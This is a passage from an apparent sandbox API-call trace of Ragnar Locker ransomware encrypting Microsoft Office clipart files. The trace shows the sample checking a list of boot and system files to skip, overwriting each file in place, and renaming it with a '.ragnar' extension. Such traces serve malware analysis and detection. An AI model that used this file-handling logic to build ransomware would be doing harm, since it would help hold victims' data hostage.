dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1750, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.285] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.285] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.285] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.285] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.285] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.285] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.285] GetProcessHeap () returned 0x580000 [0089.285] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.285] CloseHandle (hObject=0xf4) returned 1 [0089.285] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" [0089.285] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.ragnar_FD7BD9FC" [0089.285] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.286] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1 [0089.286] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.286] lstrcpyW (in: lpString1=0x1eb62e, lpString2="OCEAN_01.MID" | out: lpString1="OCEAN_01.MID") returned="OCEAN_01.MID" [0089.286] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned=".MID" [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="autorun.inf") returned 1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="boot.ini") returned 1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="bootfont.bin") returned 1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="bootsect.bak") returned 1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="bootmgr") returned 1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="bootmgr.efi") returned 1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="bootmgfw.efi") returned 1 [0089.286] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="desktop.ini") returned 1 [0089.287] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="iconcache.db") returned 1 [0089.287] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="ntldr") returned 1 [0089.287] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="ntuser.dat") returned 1 [0089.287] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="ntuser.dat.log") returned 1 [0089.287] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="ntuser.ini") returned 1 [0089.287] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="thumbs.db") returned -1 [0089.287] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.287] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.287] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.287] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.287] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.287] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.287] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0089.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.288] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5440) returned 1 [0089.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1537, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.288] GetProcessHeap () returned 0x580000 [0089.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.288] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.290] VirtualAlloc (lpAddress=0x0, dwSize=0x1540, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.290] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1540, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1540, lpOverlapped=0x0) returned 1 [0089.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.291] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1540, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.291] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1540, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1540, lpOverlapped=0x0) returned 1 [0089.291] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1540, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.291] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1540, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.291] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.291] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.292] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.292] GetProcessHeap () returned 0x580000 [0089.292] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.292] CloseHandle (hObject=0xf4) returned 1 [0089.292] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" [0089.292] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.ragnar_FD7BD9FC" [0089.292] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.292] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1 [0089.293] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.293] lstrcpyW (in: lpString1=0x1eb62e, lpString2="OUTDR_01.MID" | out: lpString1="OUTDR_01.MID") returned="OUTDR_01.MID" [0089.293] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned=".MID" [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="autorun.inf") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="boot.ini") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="bootfont.bin") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="bootsect.bak") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="bootmgr") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="bootmgr.efi") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="bootmgfw.efi") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="desktop.ini") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="iconcache.db") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="ntldr") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="ntuser.dat") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="ntuser.dat.log") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="ntuser.ini") returned 1 [0089.293] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="thumbs.db") returned -1 [0089.293] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.293] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.293] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.293] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.293] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.293] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.293] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0089.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.294] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6644) returned 1 [0089.294] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.295] GetProcessHeap () returned 0x580000 [0089.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.295] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.296] VirtualAlloc (lpAddress=0x0, dwSize=0x19f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.296] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19f4, lpOverlapped=0x0) returned 1 [0089.297] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.297] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.297] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19f4, lpOverlapped=0x0) returned 1 [0089.297] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.297] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.298] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.298] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.298] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.298] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.298] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.298] GetProcessHeap () returned 0x580000 [0089.298] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.298] CloseHandle (hObject=0xf4) returned 1 [0089.298] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" [0089.298] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.ragnar_FD7BD9FC" [0089.298] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1 [0089.299] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.299] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PAPER_01.MID" | out: lpString1="PAPER_01.MID") returned="PAPER_01.MID" [0089.299] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned=".MID" [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="autorun.inf") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="boot.ini") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="bootfont.bin") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="bootsect.bak") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="bootmgr") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="bootmgr.efi") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="bootmgfw.efi") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="desktop.ini") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="iconcache.db") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="ntldr") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="ntuser.dat") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="ntuser.dat.log") returned 1 [0089.299] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="ntuser.ini") returned 1 [0089.300] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="thumbs.db") returned -1 [0089.300] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.300] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.300] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.300] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.300] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.300] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.300] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0089.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.300] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6763) returned 1 [0089.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.300] GetProcessHeap () returned 0x580000 [0089.300] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.300] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.302] VirtualAlloc (lpAddress=0x0, dwSize=0x1a6b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.302] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a6b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a6b, lpOverlapped=0x0) returned 1 [0089.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.303] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a6b, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.303] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a6b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a6b, lpOverlapped=0x0) returned 1 [0089.303] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a6b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.303] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.304] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.304] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.304] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, 